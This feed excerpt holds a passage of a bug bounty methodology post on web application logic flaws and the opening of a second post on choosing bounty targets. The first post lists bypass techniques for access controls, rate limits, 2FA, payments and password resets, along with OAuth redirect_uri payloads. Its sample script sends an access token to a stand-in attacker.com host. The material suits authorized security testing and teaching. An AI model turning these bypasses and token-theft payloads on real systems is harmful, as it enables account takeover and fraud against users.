        * **If you CANNOT configure SSO:** Focus on interactions between SSO and non-SSO accounts. If SSO relies on email domain for trust, can you register a non-SSO account with an email from a trusted domain (if the app allows it) and exploit inconsistencies? (e.g., [H1 Report 2101076](https://hackerone.com/reports/2101076), [H1 Report 1486417](https://hackerone.com/reports/1486417)).
    * **[OAuth 2.0](https://datatracker.ietf.org/doc/html/rfc6749):**
        * Recognize OAuth is an *authorization* framework, often misused for *authentication*.
        * Identify the **Grant Type** (Authorization Code, Implicit, Client Credentials, Password, PKCE).
        * Note all **OAuth Parameters** used (`client_id`, `redirect_uri`, `response_type`, `scope`, `state`).
        * Understand *why* OAuth is used: simple sign-in, API access delegation, third-party integrations. This dictates attack vectors (e.g., insecure `redirect_uri` handling, scope escalation, CSRF against the flow). (More in OAuth Testing section).

* **Enumerable Objects in the Application:**
    * Identify key data structures (Objects) the application manipulates.
    * **User Object:** Contains identity info, potentially password hashes, roles, profile data. Target for IDORs (Read, Update).
    * **Message Object:** If messaging exists, look for IDORs (Read others' messages, Update/Delete messages, Send as another user).
    * **Financial/Sensitive Objects (Bank Account, Order, Invoice, etc.):** High impact if compromised. Focus on confidentiality (Read) and integrity (Update).

* **Session Establishment and Management:**
    * How does the app identify a user across requests?
    * **Cookie -&amp;gt; Unique Opaque String:** Most common and generally secure. Session data stored server-side. Focus on cookie flags (`Secure`, `HttpOnly`, `SameSite=Strict/Lax`), expiration, and ensuring session invalidation on logout/timeout. IDORs via session manipulation are unlikely unless the server-side mapping is flawed.
    * **Cookie -&amp;gt; Stores Data (No Signature):** Highly vulnerable. If data in the cookie (e.g., `user_id=123;role=user`) is trusted server-side, attacker can modify it. Decode (Base64, URL) and tamper.
    * **Cookie -&amp;gt; Stores Data (With Signature):** More secure, but check if signature validation is performed *on every endpoint* that uses the cookie data. If an endpoint misses validation, it's like "No Signature."
    * **Cookie -&amp;gt; JSON Web Token (JWT):** Common. Test for [known JWT attacks](https://portswigger.net/web-security/jwt): `alg:none`, signature stripping, weak secrets (brute-force HS256 secret), public key confusion (RS256 -&amp;gt; HS256), `kid` manipulation for arbitrary key selection/SQLi/Path Traversal. Ensure claims like `exp`, `nbf`, `iat` are validated.
    * **localStorage/sessionStorage:** Session tokens stored here are accessible via JavaScript (XSS risk). Check how these tokens are generated, validated, and if they contain sensitive data directly. If developers assume localStorage is tamper-proof, logic flaws can arise.

* **Access Control Types Implemented:**
    * **Role-Based Access Controls (RBAC):** Users assigned roles (Admin, User, Auditor). Test if users can perform actions outside their role's permissions. Check for hierarchical RBAC flaws (e.g., a "Manager" role improperly inheriting "Admin" rights).
    * **Discretionary Access Controls (DAC):** Owners of resources grant access to others (e.g., Google Docs sharing, Jira project members). Test if you can access/modify resources you weren't granted access to, or escalate privileges within a shared resource. Often combined with RBAC.
    * **Policy-Based Access Controls (PBAC) / Attribute-Based (ABAC):** Granular controls based on policies/attributes of user, resource, and environment. Complex to implement correctly, high chance of gaps. Test various combinations of attributes.

* **API Availability and Design:**
    * **API First Design:** All data operations go via API calls. Can make enumeration easier but also means security controls might be more consistently applied.
    * **Internal vs. External API:** External APIs (for third-party developers) usually have stricter auth (API keys) and documentation. Internal APIs (used by the app's own frontend) might use session cookies and be less documented publicly.
    * **API Documentation (Swagger/OpenAPI, Postman Collections):** Goldmine for understanding endpoints, parameters, and expected behavior. However, always fuzz for undocumented endpoints, parameters, or HTTP methods.

* **Cross-Origin Resource Sharing (CORS) Implementation:**
    * If `Access-Control-Allow-Origin` header reflects the `Origin` header from the request, or uses overly permissive wildcards (`*` with `Access-Control-Allow-Credentials: true` is bad), it can enable cross-origin attacks.
    * If it allows any subdomain (e.g., `*.target.com`), look for subdomain takeovers to bypass CORS.
    * Test for misconfigurations in `Access-Control-Allow-Methods`, `Access-Control-Allow-Headers`.

* **WebSockets Usage:**
    * Stateful connections. Once established, the server might implicitly trust messages from that connection.
    * Intercept WebSocket traffic (Burp Suite supports this). Fuzz messages for injection vulnerabilities or logic flaws specific to the WebSocket communication protocol. Are access controls re-verified for actions taken over WebSockets?
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;h3&gt;
  
  
  Section 3.3: Enumerate The Application Mechanisms
&lt;/h3&gt;

&lt;p&gt;Map every user-facing and API functionality to specific HTTP requests and CRUD (Create, Read, Update, Delete) operations. &lt;em&gt;Think like a Quality Engineer: How would you write automated tests for every feature? This helps identify individual test cases.&lt;/em&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;CREATE Examples:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;POST /user/register --data {"username":"rs0n","password":"P@s$w0rd!"}&lt;/code&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;em&gt;Function:&lt;/em&gt; Allows unauthenticated users to create an account.&lt;/li&gt;
&lt;li&gt;
&lt;em&gt;IDOR Potential:&lt;/em&gt; Usually N/A for the creation act itself.&lt;/li&gt;
&lt;li&gt;
&lt;em&gt;Access Control Violation (ACV) Potential:&lt;/em&gt; N/A (designed for unauthenticated).&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;POST /workspace --data {"name":"shared workspace 1"}&lt;/code&gt; (Requires Admin role)

&lt;ul&gt;
&lt;li&gt;
&lt;em&gt;Function:&lt;/em&gt; Allows Admin users to create a new Workspace.&lt;/li&gt;
&lt;li&gt;
&lt;em&gt;IDOR Potential:&lt;/em&gt; N/A for creation.&lt;/li&gt;
&lt;li&gt;
&lt;em&gt;ACV Potential:&lt;/em&gt; High. Can a non-Admin user create a workspace?&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;READ Examples:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;POST /user/login --data {"username":"rs0n","password":"P@s$w0rd!"}&lt;/code&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;em&gt;Function:&lt;/em&gt; Authenticates a user.&lt;/li&gt;
&lt;li&gt;
&lt;em&gt;IDOR Potential:&lt;/em&gt; N/A (response depends on input, not existing identity context).&lt;/li&gt;
&lt;li&gt;
&lt;em&gt;ACV Potential:&lt;/em&gt; N/A.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;GET /admin/user/[USER_ID]/search&lt;/code&gt; (Requires Admin role in specific Workspace)

&lt;ul&gt;
&lt;li&gt;
&lt;em&gt;Function:&lt;/em&gt; Allows Admin to search user details within their Workspace.&lt;/li&gt;
&lt;li&gt;
&lt;em&gt;IDOR Potential:&lt;/em&gt; High. Can Admin access user info from a Workspace they don't belong to by changing &lt;code&gt;[USER_ID]&lt;/code&gt; or an implicit workspace ID?&lt;/li&gt;
&lt;li&gt;
&lt;em&gt;ACV Potential:&lt;/em&gt; High. Can a non-Admin access this endpoint?&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;UPDATE Examples:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;POST /user/profile/update/username --data {"username":"rs0n_live"}&lt;/code&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;em&gt;Function:&lt;/em&gt; Allows authenticated user to change their username.&lt;/li&gt;
&lt;li&gt;
&lt;em&gt;IDOR Potential:&lt;/em&gt; High. If &lt;code&gt;user_id&lt;/code&gt; is in a parameter, can it be changed to update another user? If identification is via session, this is harder but check if session can be fixed/hijacked.&lt;/li&gt;
&lt;li&gt;
&lt;em&gt;ACV Potential:&lt;/em&gt; Low for authenticated users (all should be able to update their own). Could an unauthenticated user hit this if they spoof session data or if auth check is missing?&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;PATCH /workspace/[WORKSPACE_ID] --data {"description":"New desc"}&lt;/code&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;em&gt;Function:&lt;/em&gt; Allows members of a workspace to update its description.&lt;/li&gt;
&lt;li&gt;
&lt;em&gt;IDOR Potential:&lt;/em&gt; High. Can a user update a workspace they are not a member of by changing &lt;code&gt;[WORKSPACE_ID]&lt;/code&gt;?&lt;/li&gt;
&lt;li&gt;
&lt;em&gt;ACV Potential:&lt;/em&gt; Blurry with IDOR here. Is there a specific role required even if you are a member?&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;DELETE Examples:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;POST /user/delete --data {"username":"rs0n","password":"P@s$w0rd!","confirm":true}&lt;/code&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;em&gt;Function:&lt;/em&gt; Allows a user to delete their own account.&lt;/li&gt;
&lt;li&gt;
&lt;em&gt;IDOR Potential:&lt;/em&gt; High. If identification relies on &lt;code&gt;username&lt;/code&gt; parameter or a modifiable ID, can another user's account be deleted?&lt;/li&gt;
&lt;li&gt;
&lt;em&gt;ACV Potential:&lt;/em&gt; Low for own account deletion.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;
  
  
  Section 3.4: Test The Application (Exploiting Logic Flaws)
&lt;/h3&gt;

&lt;p&gt;With a deep understanding and enumerated mechanisms, begin targeted testing.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt; &lt;strong&gt;Missing Security Controls:&lt;/strong&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;* **Lack of Access Controls:** The most straightforward logic flaw: a developer simply forgot to implement an authorization check.
    * **Unauthenticated -&amp;gt; Authenticated:** Can an unauthenticated user access `/querytool` which should be for authenticated users?
    * **RBAC Failure:** Can an `Auditor` role (meant for READ-only) execute an UPDATE mechanism?
    * **DAC Failure:** Can a user without explicit access to Workspace `X` still modify its description via `PATCH /workspace/X/desc`?
    * **PBAC Failure:** Can a user without the `project:delete` policy still delete a project?
* **Lack of Rate Limiting:**
    * Identify mechanisms that *should* have rate limits (login, password reset, voucher application, expensive computations) but don't.
    * Show clear impact: Does spamming an endpoint cause denial of service for others? Does it allow brute-forcing (e.g., OTPs)? Does it cause a security control to [fail open](https://community.cisco.com/t5/security-knowledge-base/fail-open-amp-fail-close-explanation/ta-p/5012930)? (Many programs are picky about rate limiting reports without clear, direct security impact beyond resource consumption).
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;ol&gt;
&lt;li&gt; &lt;strong&gt;Bypass Existing Security Controls:&lt;/strong&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;* **[Bypassing Access Controls (401/403 Bypasses)](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/403-and-401-bypasses):**
    * **IP Address Restrictions:** Try using HTTP Proxy Headers (`X-Forwarded-For`, `X-Real-IP`, `Forwarded`, etc.) to spoof source IP. Look for SSRF vulnerabilities that allow requests from an internal IP.
    * **Path Fuzzing/Normalization:** If `/admin/login` is forbidden:
        * Try case changes: `/ADMIN/LOGIN`, `/Admin/Login`.
        * Path traversal/manipulation: `/admin/./login`, `/admin//login`, `/admin;/login`, `/admin/login/.`, `/%2e/admin/login`, `/admin%20/login`.
        * Use tools like Burp's `403Bypasser` extension or `ffuf` with path fuzzing wordlists.
    * **Unexpected Access Patterns/Host Header Manipulation:** Access via IP address instead of FQDN. If CNAME exists, try both domains. Try HTTP on HTTPS endpoints (port 80). Downgrade HTTP/2 to HTTP/1.1. Manipulate the `Host` header.
    * **Hidden Parameters:** Add parameters like `isAdmin=true`, `debug=true`, `role=admin`.
    * **Change HTTP Method:** Try `GET` if `POST` is blocked, or `PUT`, `PATCH`, `DELETE`.

* **[Bypassing Rate Limiting](https://book.hacktricks.xyz/pentesting-web/rate-limit-bypass):**
    * **User Account Based:** If rate limiting is tied to user ID/username, can you change your user ID (e.g., if it's in a parameter) or re-register to get a new quota?
    * **IP Address Based:**
        * Use proxy headers (`X-Forwarded-For`, etc.). Some systems might pick the first IP, last IP, or a specific one if multiple are provided.
        * Use a distributed network of proxies/VPNs.
        * Append null bytes or special characters to the IP if it's being processed as a string.
        * IPv6 variations if IPv4 is blocked (`::ffff:1.2.3.4`).

* **[Bypassing 2FA/MFA](https://book.hacktricks.xyz/pentesting-web/2fa-bypass):**
    * **Response Manipulation:** After submitting username/password, if the server responds with "2FA required," can you modify this response client-side (if client trusts it) or capture a later request and remove 2FA-related parameters?
    * **Direct Access to Post-2FA Pages:** Can you skip the 2FA page and directly browse to an application page that assumes 2FA was completed?
    * **Token Leakage/Replay:** Is the 2FA token leaked in a URL or response? Can it be replayed? Is there a lack of rate limiting on 2FA code submission?
    * **Backup Code Flaws:** Weak backup codes, or ability to generate/reuse them insecurely.
    * OAUTH/SSO Misconfiguration bypassing 2FA for primary authentication.
    * CSRF on 2FA disabling.

* **[Bypassing Payment Process Restrictions](https://book.hacktricks.xyz/pentesting-web/bypass-payment-process):**
    * **Price Manipulation:** Change item price or quantity parameters to negative numbers or zero.
    * **Currency Manipulation:** Change currency to a cheaper one if not validated.
    * **Tamper with Total Amount:** If the total amount is sent as a parameter, modify it.
    * **Interrupt Payment Flow:** Can you complete an order by dropping the final request to the payment gateway but still having the application mark the order as paid? (Race conditions).
    * **Voucher/Discount Abuse:** Apply multiple discounts, reuse single-use vouchers, or apply expired ones.

* **[Bypassing Registration Restrictions](https://book.hacktricks.xyz/pentesting-web/registration-vulnerabilities):**
    * Use character encoding or case variations to bypass username/email blocklists.
    * Exploit parameter pollution if registration data is sent in multiple places.
    * If registration requires an invite code, try to brute-force it or find a logic flaw that bypasses the check.
    * Register with an email address that has the same unique identifier as an existing account but uses allowed variations (e.g., `user.name@gmail.com` vs. `username@gmail.com`, or `user+victim@example.com`).

* **[Bypassing Password Reset Restrictions](https://book.hacktricks.xyz/pentesting-web/reset-password):**
    * **Host Header Poisoning:** If the password reset link is generated using the `Host` header, manipulate it to point to your server to capture the reset token. Test with `X-Forwarded-Host` as well.
    * **Token Leakage:** Is the reset token leaked via `Referer` header to third parties?
    * **Weak Token Generation/No Rate Limiting:** Brute-force short or predictable reset tokens.
    * **Parameter Tampering:** In the final step of setting a new password, can you change a `user_id` parameter to reset someone else's password if the token validation is tied only to the token itself and not the user it was issued for?
    * **Response Manipulation:** After entering the email, if the server returns the security questions, can you bypass this step?
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;ol&gt;
&lt;li&gt; &lt;strong&gt;Insecure Direct Object References (IDOR):&lt;/strong&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;* **Summary:** IDORs occur when an application uses user-supplied input (e.g., an ID in a URL or request body) to access objects directly without verifying if the logged-in user is authorized to access that specific object.
* *Reference: [YouTube Video - [Part I] Bug Bounty Hunting for IDORs and Access Control Violations](https://youtu.be/BfbS8uRjeAg)* (Placeholder)
* *Reference: [YouTube Video - Ask Yourself These Four Questions When Bug Bounty Hunting for IDORs](https://youtu.be/4h42AFrpyK0)* (Placeholder)

* **Basic IDOR Hunting Steps:**
    1.  **Identify Mechanisms:** Find all functionalities that perform READ, UPDATE, or DELETE operations on specific objects (e.g., view profile, edit message, delete document).
    2.  **Locate Identifiers:** Determine how the object being accessed is identified:
        * **From Session Token (Implicit):** E.g., `/profile/me` fetches the current user's profile. Harder to find IDORs unless session can be manipulated or there's an internal mapping flaw.
        * **From Signed/Encrypted Identifier:** E.g., a JWT claim or an encrypted ID. You'd need to break the signature/encryption first, or find flaws in how it's processed.
        * **From User-Controlled Parameter (Explicit):** E.g., `GET /users?id=123`, `POST /messages/delete` with `{"message_id": 456}`. This is the most common IDOR vector. Also check for UUIDs, usernames, emails, or even less obvious sequential identifiers.
    3.  **Obtain Other Users' Identifiers:** Create multiple accounts or find ways to enumerate/guess identifiers of other users/objects you shouldn't have access to.
    4.  **Test Authorization:** Substitute the victim's identifier into the request and see if you can access/modify their data. Check all CRUD operations.

* **Key Questions for IDOR Hunting per Mechanism:**
    * *Does the endpoint's response vary based on the client's identity for the same object ID (unlikely for IDOR, more for ACV)?* More relevant: *Does the endpoint return different objects based on an ID I control?*
    * *Does the endpoint identify the client implicitly via a session token (making IDORs on that object harder), or explicitly via an ID in the request?*
    * *If an ID is used, is it signed/encrypted (requiring more steps) or plaintext/guessable?*
    * *Is the ID pulled directly from a parameter, header, or cookie value I control?*
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;ol&gt;
&lt;li&gt; &lt;strong&gt;OAuth 2.0 Testing:&lt;/strong&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;* **Summary:** OAuth is complex, with various grant types and optional parameters, making misconfigurations common. It's an authorization framework, often misused for authentication.
* **Key Areas:** `redirect_uri` validation, `state` parameter usage, scope handling, client authentication (for confidential clients).

* **Steps of OAuth (Focus on Authorization Code Grant):**
    1.  **Authorization Request (Client to Authorization Server):**
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;        ```
        GET /authorization?client_id=12345&amp;amp;redirect_uri=[https://client-app.com/callback&amp;amp;response_type=code&amp;amp;scope=openid%20profile&amp;amp;state=ae13d489bd00e3c24](https://client-app.com/callback&amp;amp;response_type=code&amp;amp;scope=openid%20profile&amp;amp;state=ae13d489bd00e3c24) HTTP/1.1
        Host: oauth-authorization-server.com
        ```
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;        * **Test Points:**
            * `redirect_uri`: Is it strictly validated? (See below)
            * `response_type`: Can it be changed to `token` (Implicit grant) if not intended?
            * `scope`: Are overly broad scopes requested or accepted?
            * `state`: Is it present and non-guessable? (Prevents CSRF)

    2.  **User Consent (User authenticates and approves at Authorization Server).**

    3.  **Authorization Code Grant (Authorization Server to Client via redirect):**
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;        ```
        GET [https://client-app.com/callback?code=a1b2c3d4e5f6g7h8&amp;amp;state=ae13d489bd00e3c24](https://client-app.com/callback?code=a1b2c3d4e5f6g7h8&amp;amp;state=ae13d489bd00e3c24) HTTP/1.1
        Host: client-app.com
        ```
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;        * **Test Points:**
            * Is the `code` short-lived and one-time use?
            * Is the `state` parameter validated by the client against the original one? If not, CSRF is possible (e.g., attacker tricks victim into linking attacker's account from OAuth provider to victim's client app account).

    4.  **Access Token Request (Client to Authorization Server - backend):**
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;        ```
        POST /token HTTP/1.1
        Host: oauth-authorization-server.com
        ...
        client_id=12345&amp;amp;client_secret=SECRET&amp;amp;redirect_uri=[https://client-app.com/callback&amp;amp;grant_type=authorization_code&amp;amp;code=a1b2c3d4e5f6g7h8](https://client-app.com/callback&amp;amp;grant_type=authorization_code&amp;amp;code=a1b2c3d4e5f6g7h8)
        ```
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;        * **Test Points:**
            * `client_secret`: For confidential clients. Is it leaked?
            * `redirect_uri`: Does the Authorization Server re-validate it here against the initial one?
            * `code`: Is it validated properly?
            * `grant_type`: Correct for the flow.

    5.  **Access Token Grant (Authorization Server to Client):**
        * Server responds with Bearer Token (Access Token, potentially Refresh Token, ID Token).

    6.  **API Call (Client to Resource Server):**
        * Client uses Access Token in `Authorization: Bearer &amp;lt;token&amp;gt;` header.

    7.  **Resource Grant (Resource Server to Client):**
        * Resource server validates token and returns data.

* **OAuth Hunting Steps:**
    1.  **Discover OAuth Flows:** Search HTTP traffic for OAuth parameters (`client_id`, `redirect_uri`, `response_type`, `state`, `scope`).
    2.  **Identify Authorization Server Endpoints:** Look for well-known URIs:
        * `/.well-known/oauth-authorization-server`
        * `/.well-known/openid-configuration` (for OpenID Connect, built on OAuth)
    3.  **Identify Grant Type:** Primarily from `response_type` (`code` for Auth Code, `token` for Implicit).
    4.  **Test for Common Misconfigurations:**
        * **Implicit Grant Issues (`response_type=token`):** Access token is passed in URL fragment. Higher risk of leakage (browser history, Referer). If used for authentication, any data in the initial POST request to the client app might not be validated against the OAuth identity.
        * **Missing/Weak `state` Parameter (Auth Code Grant):** Leads to CSRF on the callback, allowing an attacker to link their OAuth provider account to the victim's client application account.
        * **Stealing `code`/`token` via `redirect_uri`:**
            * **No/Weak Validation:** If `redirect_uri` is not validated or loosely validated, an attacker can set it to their own domain/path.
            * **Redirect Possibilities/Bypass Techniques:**
                1.  Any domain: `redirect_uri=https://attacker.com`
                2.  Any subdomain: `redirect_uri=https://attacker.victim.com` (if `victim.com` is trusted, look for subdomain takeover).
                3.  Specific domains (Whitelist): Check if any whitelisted domains have open redirect vulnerabilities or allow user content that can steal tokens.
                4.  Path Traversal: `redirect_uri=https://client-app.com/legit_path/../../attacker_path`
                5.  Different Scheme: `redirect_uri=javascript:alert(document.domain)` (unlikely but possible).
                6.  Parameter Pollution/Appending: `redirect_uri=https://client-app.com/callback?attacker_param=foo` or using `#` to inject data.
                7.  Regex bypasses for whitelist validation (e.g., `https://client-app.com.attacker.com` if regex is `^https://client-app\.com`).
            * **Exploitation:** Attacker crafts a malicious link with a poisoned `redirect_uri`. Victim clicks, authenticates, and the `code` or `token` is sent to the attacker's controlled URI.
            * ***Note:*** If `redirect_uri` parameter is *also* sent in the Access Token Request (Step 4) and validated by the Authorization Server against the initial `redirect_uri`, this mitigates `code` theft for that step.
        * **Stealing Data from URL Hash Fragments (`#`):** If a token is in the fragment (`#access_token=...`), it's not sent to the server. Client-side script processes it. If this script insecurely sends fragment data to another server (e.g., via `&amp;lt;img&amp;gt;` src, or XHR to attacker site), it can be stolen. Example vulnerable script:
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;            ```javascript
            // Vulnerable script on [client-app.com/callback](https://client-app.com/callback)
            if (document.location.hash) {
                var params = new URLSearchParams(document.location.hash.substr(1));
                // If token is sent to an attacker-controlled logger or image
                new Image().src = '[https://attacker.com/log?token=](https://attacker.com/log?token=)' + params.get('access_token');
            }
            ```
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;        * **Scope Escalation/Misconfiguration:**
            * **Authorization Code Grant:** Malicious client registers with limited scope, victim approves. Client then requests an access token from `/token` endpoint but specifies expanded scopes. If AS doesn't validate requested scopes against originally approved ones, it might issue an over-privileged token.
            * **Implicit Grant:** If an attacker steals a token, they might try using it for scopes the user didn't explicitly grant, if the resource server doesn't properly validate scopes per token.
        * **Account Takeover via OAuth Registration/Login:**
            * If an application allows "Sign up with X Provider" and "Log in with X Provider," check for logic flaws. If the email from the OAuth provider is used as the primary identifier, can an attacker:
                1.  Create an account on the OAuth provider with the victim's email (if possible).
                2.  Then use "Sign up with X Provider" on the client app to link to victim's (potentially existing) account or create a new one under victim's email.

* **OpenID Connect (OIDC) Specifics (often used with OAuth):**
    * Uses **ID Tokens (JWTs)** for identity information.
    * `id_token` contains claims about the user. Validate its signature and claims (`iss`, `aud`, `exp`, `nonce`).
    * Keys for JWT signature validation often exposed at `/.well-known/jwks.json` (from OIDC provider).
    * OIDC provider configuration usually at `/.well-known/openid-configuration`.
    * `response_type` can be combined: `id_token token` (Implicit), `id_token code`.
    * **Dynamic Client Registration:** If the OIDC provider allows clients (applications) to register dynamically, check if this registration process is authenticated or can be abused for SSRF (e.g., if `logo_uri` or `jwks_uri` parameters in registration are fetched server-side by the OIDC provider).
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

</description>
      <category>bugbounty</category>
      <category>security</category>
    </item>
    <item>
      <title>🧭 Selecting the Right Bug Bounty Targets &amp; Reconnaissance</title>
      <dc:creator>Trumpiter</dc:creator>
      <pubDate>Mon, 02 Jun 2025 04:29:08 +0000</pubDate>
      <link>https://dev.to/trumpiter/selecting-the-right-bug-bounty-targets-reconnaissance-276</link>
      <guid>https://dev.to/trumpiter/selecting-the-right-bug-bounty-targets-reconnaissance-276</guid>
      <description>&lt;p&gt;&lt;strong&gt;🎯 Target Prioritization&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Not all targets are created equal. Prioritization helps you allocate your limited time and resources efficiently.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Risk vs. Effort&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Detail:&lt;/strong&gt; This involves assessing the potential security impact of a vulnerability on an endpoint versus the amount of time and effort required to find and exploit it.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Endpoints by potential impact:&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;IDOR (Insecure Direct Object Reference):&lt;/strong&gt; Vulnerabilities where an attacker can access or modify resources they shouldn't have access to by changing an identifier (e.g., &lt;code&gt;userID=123&lt;/code&gt; to &lt;code&gt;userID=124&lt;/code&gt;). High impact if it exposes sensitive data or allows unauthorized actions.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Auth Bypass (Authentication Bypass):&lt;/strong&gt; Flaws that allow attackers to circumvent login mechanisms or access restricted functionalities without proper credentials. Critical impact.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Data Leaks:&lt;/strong&gt; Unintentional exposure of sensitive information (e.g., PII, API keys, proprietary code). Impact varies based on data sensitivity.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

&lt;strong&gt;Balance:&lt;/strong&gt; The goal is to find a sweet spot. A very high-impact target that might take weeks to crack might be less efficient than several medium-impact targets found more quickly, or vice-versa depending on your strategy.&lt;/li&gt;

&lt;/ul&gt;

&lt;/li&gt;

&lt;li&gt;

&lt;p&gt;&lt;strong&gt;Breadth vs. Depth&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Detail:&lt;/strong&gt; This is a strategic decision.

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Breadth:&lt;/strong&gt; Covering a wide range of targets or functionalities superficially to find many lower-severity issues or low-hanging fruit. This can be good for building a reputation or consistent payouts.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Depth:&lt;/strong&gt; Focusing intensely on a single application or feature to uncover complex, critical vulnerabilities that others might miss. This can lead to higher individual payouts but might be more time-consuming.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;/li&gt;

&lt;li&gt;

&lt;p&gt;&lt;strong&gt;Business Logic Importance&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Detail:&lt;/strong&gt; Business logic vulnerabilities are flaws in the design and implementation of an application's rules and workflows. These are often unique to the application and not discoverable by generic scanners.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Focus Areas:&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Payments:&lt;/strong&gt; Any flaw here can have direct financial impact.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;User Data:&lt;/strong&gt; Unauthorized access or modification of user information is a high-impact area.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Privileged Actions:&lt;/strong&gt; Functions restricted to administrators or specific user roles (e.g., user management, configuration changes).&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;/li&gt;

&lt;li&gt;

&lt;p&gt;&lt;strong&gt;Historical Findings&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Detail:&lt;/strong&gt; If the program has public disclosures (e.g., on HackerOne or Bugcrowd), reviewing them can be invaluable.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Benefits:&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Avoid Reinventing the Wheel:&lt;/strong&gt; See what has already been found and fixed.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Identify Untouched Areas:&lt;/strong&gt; Notice patterns in findings or areas that seem to have received less attention, which could be fruitful hunting grounds.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Understand Common Weaknesses:&lt;/strong&gt; Get a feel for the types of vulnerabilities the target has been susceptible to in the past.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;/li&gt;

&lt;/ul&gt;




